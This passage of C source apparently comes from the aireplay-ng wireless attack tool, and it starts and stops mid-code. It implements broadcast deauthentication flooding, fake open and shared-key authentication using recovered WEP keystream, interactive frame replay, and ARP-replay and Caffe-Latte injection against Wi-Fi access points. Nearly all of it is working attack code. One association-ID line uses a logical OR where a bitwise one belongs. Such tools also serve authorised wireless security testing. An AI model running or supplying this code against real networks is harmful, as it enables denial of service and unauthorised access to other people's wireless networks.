opt.r_bssid[5] ); memcpy( h80211, DEAUTH_REQ, 26 ); memcpy( h80211 + 4, BROADCAST, 6 ); memcpy( h80211 + 10, opt.r_bssid, 6 ); memcpy( h80211 + 16, opt.r_bssid, 6 ); for( i = 0; i < 128; i++ ) { if( send_packet( h80211, 26 ) < 0 ) return( 1 ); usleep( 2000 ); } } } return( 0 ); } int do_attack_fake_auth( void ) { time_t tt, tr; struct timeval tv, tv2, tv3; fd_set rfds; int i, n, state, caplen, z; int mi_b, mi_s, mi_d; int x_send; int kas; int tries; int retry = 0; int abort; int gotack = 0; uchar capa[2]; int deauth_wait=3; int ska=0; int keystreamlen=0; int challengelen=0; int weight[16]; int notice=0; int packets=0; int aid=0; unsigned char ackbuf[14]; unsigned char ctsbuf[10]; unsigned char iv[4]; unsigned char challenge[2048]; unsigned char keystream[2048]; if( memcmp( opt.r_smac, NULL_MAC, 6 ) == 0 ) { printf( "Please specify a source MAC (-h).\n" ); return( 1 ); } if(getnet(capa, 0, 1) != 0) return 1; if( strlen(opt.r_essid) == 0 || opt.r_essid[0] < 32) { printf( "Please specify an ESSID (-e).\n" ); return 1; } memcpy( ackbuf, "\xD4\x00\x00\x00", 4 ); memcpy( ackbuf + 4, opt.r_bssid, 6 ); memset( ackbuf + 10, 0, 4 ); memcpy( ctsbuf, "\xC4\x00\x94\x02", 4 ); memcpy( ctsbuf + 4, opt.r_bssid, 6 ); tries = 0; abort = 0; state = 0; x_send=opt.npackets; if(opt.npackets == 0) x_send=4; if(opt.prga != NULL) ska=1; tt = time( NULL ); tr = time( NULL ); while( 1 ) { switch( state ) { case 0: if (opt.f_retry > 0) { if (retry == opt.f_retry) { abort = 1; return 1; } ++retry; } if(ska && keystreamlen == 0) { opt.fast = 1; //don't ask for approval memcpy(opt.f_bssid, opt.r_bssid, 6); //make the filter bssid the same, that is used for auth'ing if(opt.prga==NULL) { while(keystreamlen < 16) { capture_ask_packet(&caplen, 1); //wait for data packet z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; memcpy(iv, h80211+z, 4); //copy IV+IDX i = known_clear(keystream, &keystreamlen, weight, h80211, caplen-z-4-4); //recover first bytes if(i>1) { keystreamlen=0; } for(i=0;i= 2 ) { if(opt.npackets > 0) { tries++; if( tries > 15 ) { abort = 1; } } else { if( x_send < 256 ) { x_send *= 2; } else { abort = 1; } } if( abort ) { printf( "\nAttack was unsuccessful. Possible reasons:\n\n" " * Perhaps MAC address filtering is enabled.\n" " * Check that the BSSID (-a option) is correct.\n" " * Try to change the number of packets (-o option).\n" " * The driver/card doesn't support injection.\n" " * This attack sometimes fails against some APs.\n" " * The card is not on the same channel as the AP.\n" " * You're too far from the AP. Get closer, or lower\n" " the transmit rate.\n\n" ); return( 1 ); } state = 0; challengelen = 0; printf("\n"); } break; case 2: state = 3; tt = time( NULL ); /* attempt to authenticate using ska */ memcpy( h80211, AUTH_REQ, 30 ); memcpy( h80211 + 4, opt.r_bssid, 6 ); memcpy( h80211 + 10, opt.r_smac , 6 ); memcpy( h80211 + 16, opt.r_bssid, 6 ); h80211[1] |= 0x40; //set wep bit, as this frame is encrypted memcpy(h80211+24, iv, 4); memcpy(h80211+28, challenge, challengelen); h80211[28] = 0x01; //its always ska in state==2 h80211[30] = 0x03; //auth sequence number 3 fflush(stdout); if(keystreamlen < challengelen+4 && notice == 0) { notice = 1; if(opt.prga != NULL) { PCT; printf( "Specified xor file (-y) is too short, you need at least %d keystreambytes.\n", challengelen+4); } else { PCT; printf( "You should specify a xor file (-y) with at least %d keystreambytes\n", challengelen+4); } PCT; printf( "Trying fragmented shared key fake auth.\n"); } PCT; printf( "Sending encrypted challenge." ); fflush( stdout ); gotack=0; gettimeofday(&tv2, NULL); for( i = 0; i < x_send; i++ ) { if(keystreamlen < challengelen+4) { packets=(challengelen)/(keystreamlen-4); if( (challengelen)%(keystreamlen-4) != 0 ) packets++; memcpy(h80211+24, challenge, challengelen); h80211[24]=0x01; h80211[26]=0x03; send_fragments(h80211, challengelen+24, iv, keystream, keystreamlen-4, 1); } else { add_icv(h80211, challengelen+28, 28); xor_keystream(h80211+28, keystream, challengelen+4); send_packet(h80211, 24+4+challengelen+4); } if( send_packet( ackbuf, 14 ) < 0 ) return( 1 ); usleep(10); if( send_packet( ackbuf, 14 ) < 0 ) return( 1 ); } break; case 3: /* waiting for an authentication response (using ska) */ if( time( NULL ) - tt >= 2 ) { if(opt.npackets > 0) { tries++; if( tries > 15 ) { abort = 1; } } else { if( x_send < 256 ) { x_send *= 2; } else { abort = 1; } } if( abort ) { printf( "\nAttack was unsuccessful. Possible reasons:\n\n" " * Perhaps MAC address filtering is enabled.\n" " * Check that the BSSID (-a option) is correct.\n" " * Try to change the number of packets (-o option).\n" " * The driver/card doesn't support injection.\n" " * This attack sometimes fails against some APs.\n" " * The card is not on the same channel as the AP.\n" " * You're too far from the AP. Get closer, or lower\n" " the transmit rate.\n\n" ); return( 1 ); } state = 0; challengelen=0; printf("\n"); } break; case 4: tries = 0; state = 5; if(opt.npackets == -1) x_send *= 2; tt = time( NULL ); /* attempt to associate */ memcpy( h80211, ASSOC_REQ, 28 ); memcpy( h80211 + 4, opt.r_bssid, 6 ); memcpy( h80211 + 10, opt.r_smac , 6 ); memcpy( h80211 + 16, opt.r_bssid, 6 ); n = strlen( opt.r_essid ); if( n > 32 ) n = 32; h80211[28] = 0x00; h80211[29] = n; memcpy( h80211 + 30, opt.r_essid, n ); memcpy( h80211 + 30 + n, RATES, 16 ); memcpy( h80211 + 24, capa, 2); PCT; printf( "Sending Association Request" ); fflush( stdout ); gotack=0; for( i = 0; i < x_send; i++ ) { if( send_packet( h80211, 46 + n ) < 0 ) return( 1 ); usleep(10); if( send_packet( ackbuf, 14 ) < 0 ) return( 1 ); usleep(10); if( send_packet( ackbuf, 14 ) < 0 ) return( 1 ); } break; case 5: /* waiting for an association response */ if( time( NULL ) - tt >= 5 ) { if( x_send < 256 && (opt.npackets == -1) ) x_send *= 4; state = 0; challengelen = 0; printf("\n"); } break; case 6: if( opt.a_delay == 0 && opt.reassoc == 0 ) { printf("\n"); return( 0 ); } if( opt.a_delay == 0 && opt.reassoc == 1 ) { if(opt.npackets == -1) x_send = 4; state = 7; challengelen = 0; break; } if( time( NULL ) - tt >= opt.a_delay ) { if(opt.npackets == -1) x_send = 4; if( opt.reassoc == 1 ) state = 7; else state = 0; challengelen = 0; break; } if( time( NULL ) - tr >= opt.delay ) { tr = time( NULL ); printf("\n"); PCT; printf( "Sending keep-alive packet" ); fflush( stdout ); gotack=0; memcpy( h80211, NULL_DATA, 24 ); memcpy( h80211 + 4, opt.r_bssid, 6 ); memcpy( h80211 + 10, opt.r_smac, 6 ); memcpy( h80211 + 16, opt.r_bssid, 6 ); if( opt.npackets > 0 ) kas = opt.npackets; else kas = 32; for( i = 0; i < kas; i++ ) if( send_packet( h80211, 24 ) < 0 ) return( 1 ); } break; case 7: /* sending reassociation request */ tries = 0; state = 8; if(opt.npackets == -1) x_send *= 2; tt = time( NULL ); /* attempt to reassociate */ memcpy( h80211, REASSOC_REQ, 34 ); memcpy( h80211 + 4, opt.r_bssid, 6 ); memcpy( h80211 + 10, opt.r_smac , 6 ); memcpy( h80211 + 16, opt.r_bssid, 6 ); n = strlen( opt.r_essid ); if( n > 32 ) n = 32; h80211[34] = 0x00; h80211[35] = n; memcpy( h80211 + 36, opt.r_essid, n ); memcpy( h80211 + 36 + n, RATES, 16 ); memcpy( h80211 + 30, capa, 2); PCT; printf( "Sending Reassociation Request" ); fflush( stdout ); gotack=0; for( i = 0; i < x_send; i++ ) { if( send_packet( h80211, 52 + n ) < 0 ) return( 1 ); usleep(10); if( send_packet( ackbuf, 14 ) < 0 ) return( 1 ); usleep(10); if( send_packet( ackbuf, 14 ) < 0 ) return( 1 ); } break; case 8: /* waiting for a reassociation response */ if( time( NULL ) - tt >= 5 ) { if( x_send < 256 && (opt.npackets == -1) ) x_send *= 4; state = 7; challengelen = 0; printf("\n"); } break; default: break; } /* read one frame */ FD_ZERO( &rfds ); FD_SET( dev.fd_in, &rfds ); tv.tv_sec = 1; tv.tv_usec = 0; if( select( dev.fd_in + 1, &rfds, NULL, NULL, &tv ) < 0 ) { if( errno == EINTR ) continue; perror( "select failed" ); return( 1 ); } if( ! FD_ISSET( dev.fd_in, &rfds ) ) continue; caplen = read_packet( h80211, sizeof( h80211 ), NULL ); if( caplen < 0 ) return( 1 ); if( caplen == 0 ) continue; if( caplen == 10 && h80211[0] == 0xD4) { if( memcmp(h80211+4, opt.r_smac, 6) == 0 ) { gotack++; if(gotack==1) { printf(" [ACK]"); fflush( stdout ); } } } gettimeofday(&tv3, NULL); //wait 100ms for acks if ( (((tv3.tv_sec*1000000 - tv2.tv_sec*1000000) + (tv3.tv_usec - tv2.tv_usec)) > (100*1000)) && (gotack > 0) && (gotack < packets) && (state == 3) && (packets > 1) ) { PCT; printf("Not enough acks, repeating...\n"); state=2; continue; } if( caplen < 24 ) continue; switch( h80211[1] & 3 ) { case 0: mi_b = 16; mi_s = 10; mi_d = 4; break; case 1: mi_b = 4; mi_s = 10; mi_d = 16; break; case 2: mi_b = 10; mi_s = 16; mi_d = 4; break; default: mi_b = 10; mi_d = 16; mi_s = 24; break; } /* check if the dest. MAC is ours and source == AP */ if( memcmp( h80211 + mi_d, opt.r_smac, 6 ) == 0 && memcmp( h80211 + mi_b, opt.r_bssid, 6 ) == 0 && memcmp( h80211 + mi_s, opt.r_bssid, 6 ) == 0 ) { /* check if we got an deauthentication packet */ if( h80211[0] == 0xC0 ) //removed && state == 4 { printf("\n"); PCT; printf( "Got a deauthentication packet! (Waiting %d seconds)\n", deauth_wait ); if(opt.npackets == -1) x_send = 4; state = 0; challengelen = 0; read_sleep( deauth_wait * 1000000 ); deauth_wait += 2; continue; } /* check if we got an disassociation packet */ if( h80211[0] == 0xA0 && state == 6 ) { printf("\n"); PCT; printf( "Got a disassociation packet! (Waiting %d seconds)\n", deauth_wait ); if(opt.npackets == -1) x_send = 4; state = 0; challengelen = 0; read_sleep( deauth_wait ); deauth_wait += 2; continue; } /* check if we got an authentication response */ if( h80211[0] == 0xB0 && (state == 1 || state == 3) ) { if(ska) { if( (state==1 && h80211[26] != 0x02) || (state==3 && h80211[26] != 0x04) ) continue; } printf("\n"); PCT; state = 0; if( caplen < 30 ) { printf( "Error: packet length < 30 bytes\n" ); read_sleep( 3*1000000 ); challengelen = 0; continue; } if( (h80211[24] != 0 || h80211[25] != 0) && ska==0) { ska=1; printf("Switching to shared key authentication\n"); read_sleep(2*1000000); //read sleep 2s challengelen = 0; continue; } n = h80211[28] + ( h80211[29] << 8 ); if( n != 0 ) { switch( n ) { case 1: printf( "AP rejects the source MAC address (%02X:%02X:%02X:%02X:%02X:%02X) ?\n", opt.r_smac[0], opt.r_smac[1], opt.r_smac[2], opt.r_smac[3], opt.r_smac[4], opt.r_smac[5] ); break; case 10: printf( "AP rejects our capabilities\n" ); break; case 13: case 15: ska=1; if(h80211[26] == 0x02) printf("Switching to shared key authentication\n"); if(h80211[26] == 0x04) { printf("Challenge failure\n"); challengelen=0; } read_sleep(2*1000000); //read sleep 2s challengelen = 0; continue; default: break; } printf( "Authentication failed (code %d)\n", n ); if(opt.npackets == -1) x_send = 4; read_sleep( 3*1000000 ); challengelen = 0; continue; } if(ska && h80211[26]==0x02 && challengelen == 0) { memcpy(challenge, h80211+24, caplen-24); challengelen=caplen-24; } if(ska) { if(h80211[26]==0x02) { state = 2; /* grab challenge */ printf( "Authentication 1/2 successful\n" ); } if(h80211[26]==0x04) { state = 4; printf( "Authentication 2/2 successful\n" ); } } else { printf( "Authentication successful\n" ); state = 4; /* auth. done */ } } /* check if we got an association response */ if( h80211[0] == 0x10 && state == 5 ) { printf("\n"); state = 0; PCT; if( caplen < 30 ) { printf( "Error: packet length < 30 bytes\n" ); sleep( 3 ); challengelen = 0; continue; } n = h80211[26] + ( h80211[27] << 8 ); if( n != 0 ) { switch( n ) { case 1: printf( "Denied (code 1), is WPA in use ?\n" ); break; case 10: printf( "Denied (code 10), open (no WEP) ?\n" ); break; case 12: printf( "Denied (code 12), wrong ESSID or WPA ?\n" ); break; default: printf( "Association denied (code %d)\n", n ); break; } sleep( 3 ); challengelen = 0; continue; } aid=( ( (h80211[29] << 8) || (h80211[28]) ) & 0x3FFF); printf( "Association successful :-) (AID: %d)\n", aid ); deauth_wait = 3; fflush( stdout ); tt = time( NULL ); tr = time( NULL ); state = 6; /* assoc. done */ } /* check if we got an reassociation response */ if( h80211[0] == 0x30 && state == 8 ) { printf("\n"); state = 7; PCT; if( caplen < 30 ) { printf( "Error: packet length < 30 bytes\n" ); sleep( 3 ); challengelen = 0; continue; } n = h80211[26] + ( h80211[27] << 8 ); if( n != 0 ) { switch( n ) { case 1: printf( "Denied (code 1), is WPA in use ?\n" ); break; case 10: printf( "Denied (code 10), open (no WEP) ?\n" ); break; case 12: printf( "Denied (code 12), wrong ESSID or WPA ?\n" ); break; default: printf( "Reassociation denied (code %d)\n", n ); break; } sleep( 3 ); challengelen = 0; continue; } aid=( ( (h80211[29] << 8) || (h80211[28]) ) & 0x3FFF); printf( "Reassociation successful :-) (AID: %d)\n", aid ); deauth_wait = 3; fflush( stdout ); tt = time( NULL ); tr = time( NULL ); state = 6; /* reassoc. done */ } } } return( 0 ); } int do_attack_interactive( void ) { int caplen, n, z; int mi_b, mi_s, mi_d; struct timeval tv; struct timeval tv2; float f, ticks[3]; unsigned char bssid[6]; unsigned char smac[6]; unsigned char dmac[6]; read_packets: if( capture_ask_packet( &caplen, 0 ) != 0 ) return( 1 ); z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; /* rewrite the frame control & MAC addresses */ switch( h80211[1] & 3 ) { case 0: mi_b = 16; mi_s = 10; mi_d = 4; break; case 1: mi_b = 4; mi_s = 10; mi_d = 16; break; case 2: mi_b = 10; mi_s = 16; mi_d = 4; break; default: mi_b = 10; mi_d = 16; mi_s = 24; break; } if( memcmp( opt.r_bssid, NULL_MAC, 6 ) == 0 ) memcpy( bssid, h80211 + mi_b, 6 ); else memcpy( bssid, opt.r_bssid, 6 ); if( memcmp( opt.r_smac , NULL_MAC, 6 ) == 0 ) memcpy( smac, h80211 + mi_s, 6 ); else memcpy( smac, opt.r_smac, 6 ); if( memcmp( opt.r_dmac , NULL_MAC, 6 ) == 0 ) memcpy( dmac, h80211 + mi_d, 6 ); else memcpy( dmac, opt.r_dmac, 6 ); if( opt.r_fctrl != -1 ) { h80211[0] = opt.r_fctrl >> 8; h80211[1] = opt.r_fctrl & 0xFF; switch( h80211[1] & 3 ) { case 0: mi_b = 16; mi_s = 10; mi_d = 4; break; case 1: mi_b = 4; mi_s = 10; mi_d = 16; break; case 2: mi_b = 10; mi_s = 16; mi_d = 4; break; default: mi_b = 10; mi_d = 16; mi_s = 24; break; } } memcpy( h80211 + mi_b, bssid, 6 ); memcpy( h80211 + mi_s, smac , 6 ); memcpy( h80211 + mi_d, dmac , 6 ); /* loop resending the packet */ /* Check if airodump-ng is running. If not, print that message */ printf( "You should also start airodump-ng to capture replies.\n\n" ); signal( SIGINT, sighandler ); ctrl_c = 0; memset( ticks, 0, sizeof( ticks ) ); nb_pkt_sent = 0; while( 1 ) { if( ctrl_c ) goto read_packets; /* wait for the next timer interrupt, or sleep */ if( dev.fd_rtc >= 0 ) { if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 ) { perror( "read(/dev/rtc) failed" ); return( 1 ); } ticks[0]++; ticks[1]++; ticks[2]++; } else { /* we can't trust usleep, since it depends on the HZ */ gettimeofday( &tv, NULL ); usleep( 1000000/RTC_RESOLUTION ); gettimeofday( &tv2, NULL ); f = 1000000 * (float) ( tv2.tv_sec - tv.tv_sec ) + (float) ( tv2.tv_usec - tv.tv_usec ); ticks[0] += f / ( 1000000/RTC_RESOLUTION ); ticks[1] += f / ( 1000000/RTC_RESOLUTION ); ticks[2] += f / ( 1000000/RTC_RESOLUTION ); } /* update the status line */ if( ticks[1] > (RTC_RESOLUTION/10) ) { ticks[1] = 0; printf( "\rSent %ld packets...(%d pps)\33[K\r", nb_pkt_sent, (int)((double)nb_pkt_sent/((double)ticks[0]/(double)RTC_RESOLUTION))); fflush( stdout ); } if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION < 1 ) continue; /* threshold reached */ ticks[2] = 0; if( nb_pkt_sent == 0 ) ticks[0] = 0; if( send_packet( h80211, caplen ) < 0 ) return( 1 ); if( ((double)ticks[0]/(double)RTC_RESOLUTION)*(double)opt.r_nbpps > (double)nb_pkt_sent ) { if( send_packet( h80211, caplen ) < 0 ) return( 1 ); } } return( 0 ); } int do_attack_arp_resend( void ) { int nb_bad_pkt; int arp_off1, arp_off2; int i, n, caplen, nb_arp, z; long nb_pkt_read, nb_arp_tot, nb_ack_pkt; time_t tc; float f, ticks[3]; struct timeval tv; struct timeval tv2; struct tm *lt; FILE *f_cap_out; struct pcap_file_header pfh_out; struct pcap_pkthdr pkh; struct ARP_req * arp; /* capture only WEP data to broadcast address */ opt.f_type = 2; opt.f_subtype = 0; opt.f_iswep = 1; memset( opt.f_dmac, 0xFF, 6 ); if( memcmp( opt.r_smac, NULL_MAC, 6 ) == 0 ) { printf( "Please specify a source MAC (-h).\n" ); return( 1 ); } if(getnet(NULL, 1, 1) != 0) return 1; /* create and write the output pcap header */ gettimeofday( &tv, NULL ); pfh_out.magic = TCPDUMP_MAGIC; pfh_out.version_major = PCAP_VERSION_MAJOR; pfh_out.version_minor = PCAP_VERSION_MINOR; pfh_out.thiszone = 0; pfh_out.sigfigs = 0; pfh_out.snaplen = 65535; pfh_out.linktype = LINKTYPE_IEEE802_11; lt = localtime( (const time_t *) &tv.tv_sec ); memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "replay_arp-%02d%02d-%02d%02d%02d.cap", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); printf( "Saving ARP requests in %s\n", strbuf ); if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL ) { perror( "fopen failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed\n" ); return( 1 ); } fflush( f_cap_out ); printf( "You should also start airodump-ng to capture replies.\n" ); if(opt.port_in <= 0) { /* avoid blocking on reading the socket */ if( fcntl( dev.fd_in, F_SETFL, O_NONBLOCK ) < 0 ) { perror( "fcntl(O_NONBLOCK) failed" ); return( 1 ); } } if ( opt.ringbuffer ) arp = (struct ARP_req*) malloc( opt.ringbuffer * sizeof( struct ARP_req ) ); else arp = (struct ARP_req*) malloc( sizeof( struct ARP_req ) ); memset( ticks, 0, sizeof( ticks ) ); tc = time( NULL ) - 11; nb_pkt_read = 0; nb_bad_pkt = 0; nb_ack_pkt = 0; nb_arp = 0; nb_arp_tot = 0; arp_off1 = 0; arp_off2 = 0; while( 1 ) { /* sleep until the next clock tick */ if( dev.fd_rtc >= 0 ) { if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 ) { perror( "read(/dev/rtc) failed" ); return( 1 ); } ticks[0]++; ticks[1]++; ticks[2]++; } else { gettimeofday( &tv, NULL ); usleep( 1000000/RTC_RESOLUTION ); gettimeofday( &tv2, NULL ); f = 1000000 * (float) ( tv2.tv_sec - tv.tv_sec ) + (float) ( tv2.tv_usec - tv.tv_usec ); ticks[0] += f / ( 1000000/RTC_RESOLUTION ); ticks[1] += f / ( 1000000/RTC_RESOLUTION ); ticks[2] += f / ( 1000000/RTC_RESOLUTION ); } if( ticks[1] > (RTC_RESOLUTION/10) ) { ticks[1] = 0; printf( "\rRead %ld packets (got %ld ARP requests and %ld ACKs), " "sent %ld packets...(%d pps)\r", nb_pkt_read, nb_arp_tot, nb_ack_pkt, nb_pkt_sent, (int)((double)nb_pkt_sent/((double)ticks[0]/(double)RTC_RESOLUTION)) ); fflush( stdout ); } if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION >= 1 ) { /* threshold reach, send one frame */ ticks[2] = 0; if( nb_arp > 0 ) { if( nb_pkt_sent == 0 ) ticks[0] = 0; if( send_packet( arp[arp_off1].buf, arp[arp_off1].len ) < 0 ) return( 1 ); if( ((double)ticks[0]/(double)RTC_RESOLUTION)*(double)opt.r_nbpps > (double)nb_pkt_sent ) { if( send_packet( arp[arp_off1].buf, arp[arp_off1].len ) < 0 ) return( 1 ); } if( ++arp_off1 >= nb_arp ) arp_off1 = 0; } } /* read a frame, and check if it's an ARP request */ if( opt.s_file == NULL ) { gettimeofday( &tv, NULL ); caplen = read_packet( h80211, sizeof( h80211 ), NULL ); if( caplen < 0 ) return( 1 ); if( caplen == 0 ) continue; } else { n = sizeof( pkh ); if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 ) { opt.s_file = NULL; continue; } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) { SWAP32( pkh.caplen ); SWAP32( pkh.len ); } tv.tv_sec = pkh.tv_sec; tv.tv_usec = pkh.tv_usec; n = caplen = pkh.caplen; if( n <= 0 || n > (int) sizeof( h80211 ) || n > (int) sizeof( tmpbuf ) ) { printf( "\r\33[KInvalid packet length %d.\n", n ); opt.s_file = NULL; continue; } if( fread( h80211, n, 1, dev.f_cap_in ) != 1 ) { opt.s_file = NULL; continue; } if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER ) { /* remove the prism header */ if( h80211[7] == 0x40 ) n = 64; else n = *(int *)( h80211 + 4 ); if( n < 8 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR ) { /* remove the radiotap header */ n = *(unsigned short *)( h80211 + 2 ); if( n <= 0 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( dev.pfh_in.linktype == LINKTYPE_PPI_HDR ) { /* remove the PPI header */ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); if( n <= 0 || n>= (int) caplen ) continue; /* for a while Kismet logged broken PPI headers */ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) n = 32; if( n <= 0 || n>= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } } nb_pkt_read++; /* check if it's a disassociation or deauthentication packet */ if( ( h80211[0] == 0xC0 || h80211[0] == 0xA0 ) && ! memcmp( h80211 + 4, opt.r_smac, 6 ) ) { nb_bad_pkt++; if( nb_bad_pkt > 64 && time( NULL ) - tc >= 10 ) { printf( "\33[KNotice: got a deauth/disassoc packet. Is the " "source MAC associated ?\n" ); tc = time( NULL ); nb_bad_pkt = 0; } } if( h80211[0] == 0xD4 && ! memcmp( h80211 + 4, opt.r_smac, 6 ) ) { nb_ack_pkt++; } /* check if it's a potential ARP request */ opt.f_minlen = opt.f_maxlen = 68; if( filter_packet( h80211, caplen ) == 0 ) goto add_arp; opt.f_minlen = opt.f_maxlen = 86; if( filter_packet( h80211, caplen ) == 0 ) { add_arp: z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; switch( h80211[1] & 3 ) { case 1: /* ToDS */ { /* keep as a ToDS packet */ memcpy( h80211 + 4, opt.f_bssid, 6 ); memcpy( h80211 + 10, opt.r_smac, 6 ); memcpy( h80211 + 16, opt.f_dmac, 6 ); h80211[1] = 0x41; /* ToDS & WEP */ } case 2: /* FromDS */ { if( opt.r_fromdsinj ) { /* keep as a FromDS packet */ memcpy( h80211 + 4, opt.f_dmac, 6 ); memcpy( h80211 + 10, opt.f_bssid, 6 ); memcpy( h80211 + 16, opt.r_smac, 6 ); h80211[1] = 0x42; /* FromDS & WEP */ } else { /* rewrite header to make it a ToDS packet */ memcpy( h80211 + 4, opt.f_bssid, 6 ); memcpy( h80211 + 10, opt.r_smac, 6 ); memcpy( h80211 + 16, opt.f_dmac, 6 ); h80211[1] = 0x41; /* ToDS & WEP */ } } } //should be correct already, keep qos/wds status // h80211[0] = 0x08; /* normal data */ /* if same IV, perhaps our own packet, skip it */ for( i = 0; i < nb_arp; i++ ) { if( memcmp( h80211 + z, arp[i].buf + arp[i].hdrlen, 4 ) == 0 ) break; } if( i < nb_arp ) continue; if( caplen > 128) continue; /* add the ARP request in the ring buffer */ nb_arp_tot++; /* Ring buffer size: by default: 8 ) */ if( nb_arp >= opt.ringbuffer && opt.ringbuffer > 0) { /* no more room, overwrite oldest entry */ memcpy( arp[arp_off2].buf, h80211, caplen ); arp[arp_off2].len = caplen; arp[arp_off2].hdrlen = z; if( ++arp_off2 >= nb_arp ) arp_off2 = 0; } else { if( ( arp[nb_arp].buf = malloc( 128 ) ) == NULL ) { perror( "malloc failed" ); return( 1 ); } memcpy( arp[nb_arp].buf, h80211, caplen ); arp[nb_arp].len = caplen; arp[nb_arp].hdrlen = z; nb_arp++; pkh.tv_sec = tv.tv_sec; pkh.tv_usec = tv.tv_usec; pkh.caplen = caplen; pkh.len = caplen; n = sizeof( pkh ); if( fwrite( &pkh, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); return( 1 ); } n = pkh.caplen; if( fwrite( h80211, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); return( 1 ); } fflush( f_cap_out ); } } } return( 0 ); } int do_attack_caffe_latte( void ) { int nb_bad_pkt; int arp_off1, arp_off2; int i, n, caplen, nb_arp, z; long nb_pkt_read, nb_arp_tot, nb_ack_pkt; uchar flip[4096]; time_t tc; float f, ticks[3]; struct timeval tv; struct timeval tv2; struct tm *lt; FILE *f_cap_out; struct pcap_file_header pfh_out; struct pcap_pkthdr pkh; struct ARP_req * arp; /* capture only WEP data to broadcast address */ opt.f_type = 2; opt.f_subtype = 0; opt.f_iswep = 1; opt.f_fromds = 0; if(getnet(NULL, 1, 1) != 0) return 1; if( memcmp( opt.f_bssid, NULL_MAC, 6 ) == 0 ) { printf( "Please specify a BSSID (-b).\n" ); return( 1 ); } /* create and write the output pcap header */ gettimeofday( &tv, NULL ); pfh_out.magic = TCPDUMP_MAGIC; pfh_out.version_major = PCAP_VERSION_MAJOR; pfh_out.version_minor = PCAP_VERSION_MINOR; pfh_out.thiszone = 0; pfh_out.sigfigs = 0; pfh_out.snaplen = 65535; pfh_out.linktype = LINKTYPE_IEEE802_11; lt = localtime( (const time_t *) &tv.tv_sec ); memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "replay_arp-%02d%02d-%02d%02d%02d.cap", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); printf( "Saving ARP requests in %s\n", strbuf ); if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL ) { perror( "fopen failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed\n" ); return( 1 ); } fflush( f_cap_out ); printf( "You should also start airodump-ng to capture replies.\n" ); if(opt.port_in <= 0) { /* avoid blocking on reading the socket */ if( fcntl( dev.fd_in, F_SETFL, O_NONBLOCK ) < 0 ) { perror( "fcntl(O_NONBLOCK) failed" ); return( 1 ); } } if ( opt.ringbuffer ) arp = (struct ARP_req*) malloc( opt.ringbuffer * sizeof( struct ARP_req ) ); else arp = (struct ARP_req*) malloc( sizeof( struct ARP_req ) ); memset( ticks, 0, sizeof( ticks ) ); tc = time( NULL ) - 11; nb_pkt_read = 0; nb_bad_pkt = 0; nb_ack_pkt = 0; nb_arp = 0; nb_arp_tot = 0; arp_off1 = 0; arp_off2 = 0; while( 1 ) { /* sleep until the next clock tick */ if( dev.fd_rtc >= 0 ) { if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 ) { perror( "read(/dev/rtc) failed" ); return( 1 ); } ticks[0]++; ticks[1]++; ticks[2]++; } else { gettimeofday( &tv, NULL ); usleep( 1000000/RTC_RESOLUTION ); gettimeofday( &tv2, NULL ); f = 1000000 * (float) ( tv2.tv_sec - tv.tv_sec ) + (float) ( tv2.tv_usec - tv.tv_usec ); ticks[0] += f / ( 1000000/RTC_RESOLUTION ); ticks[1] += f / ( 1000000/RTC_RESOLUTION ); ticks[2] += f / ( 1000000/RTC_RESOLUTION ); } if( ticks[1] > (RTC_RESOLUTION/10) ) { ticks[1] = 0; printf( "\rRead %ld packets (%ld ARPs, %ld ACKs), " "sent %ld packets...(%d pps)\r", nb_pkt_read, nb_arp_tot, nb_ack_pkt, nb_pkt_sent, (int)((double)nb_pkt_sent/((double)ticks[0]/(double)RTC_RESOLUTION)) ); fflush( stdout ); } if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION >= 1 ) { /* threshold reach, send one frame */ ticks[2] = 0; if( nb_arp > 0 ) { if( nb_pkt_sent == 0 ) ticks[0] = 0; if( send_packet( arp[arp_off1].buf, arp[arp_off1].len ) < 0 ) return( 1 ); if( ((double)ticks[0]/(double)RTC_RESOLUTION)*(double)opt.r_nbpps > (double)nb_pkt_sent ) { if( send_packet( arp[arp_off1].buf, arp[arp_off1].len ) < 0 ) return( 1 ); } if( ++arp_off1 >= nb_arp ) arp_off1 = 0; } } /* read a frame, and check if it's an ARP request */ if( opt.s_file == NULL ) { gettimeofday( &tv, NULL ); caplen = read_packet( h80211, 